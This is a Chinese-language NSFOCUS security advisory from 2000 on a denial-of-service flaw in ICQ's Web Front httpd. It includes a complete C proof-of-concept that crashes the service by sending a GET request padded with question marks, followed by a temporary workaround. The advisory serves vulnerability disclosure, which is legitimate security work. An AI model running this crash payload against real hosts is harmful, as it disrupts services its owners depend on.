首页 -> 安全研究

安全研究

安全漏洞
ICQ Web Front 拒绝服务漏洞

发布日期:2000-10-09
更新日期:2000-10-09

受影响系统:

ICQ - Windows 95/98
描述:

最新的 ICQ 客户端现在为成员桌面提供一个小小的 httpd,它被称为
Web Front 。在 url 之后附上一些 "?" 字符(可能其他的字符也行)
将使httpd甚至ICQ 客户端软件崩溃。

<* 来源:Charles Chear (chear@beef.tpgn.net) *>



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


/* ICQ Web Front DoS */

#include <sys/socket.h>
#include <stdio.h>
#include <netinet/in.h>
#include <netdb.h>

void main(int argc, char *argv[])
{
  int sock;
  struct in_addr addr;
  struct sockaddr_in sin;
  struct hostent *he;
  unsigned long start;
  unsigned long end;
  unsigned long counter;

  /* added extra ? to be on the safe side :) */
  char xploitstr1[50]="GET /?????????? HTTP/1.0 \n\n";


  printf("ICQ Web Front DoS - author: char0hlz/tPG\n");
  printf("The Poor Gurus' Network [http://www.tpgn.net]\n");

  if (argc<2)
  {
    printf("usage: %s <hostname>\n", argv[0]);
    exit(0);
  }
  if ((he=gethostbyname(argv[1])) == NULL)
  {
    herror("gethostbyname");
    exit(0);
  }
    start=inet_addr(argv[1]);
    counter=ntohl(start);
    sock=socket(AF_INET,SOCK_STREAM,0);
    bcopy(he->h_addr,(char *)&sin.sin_addr, he->h_length);
    sin.sin_family=AF_INET;
    sin.sin_port=htons(80);
    if (connect(sock,(struct sockaddr*)&sin,sizeof(sin))!=0)
    {
      perror("pr0blems");
    }
    send(sock,xploitstr1,strlen(xploitstr1),0);
    close(sock);

   printf("Done. Refresh the page to see if it worked.\n");
}



建议:

临时解决办法:

  NSFOCUS建议您在没有打上补丁前暂缓使用这个新功能。

厂商补丁:

  暂无

浏览次数:5563
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障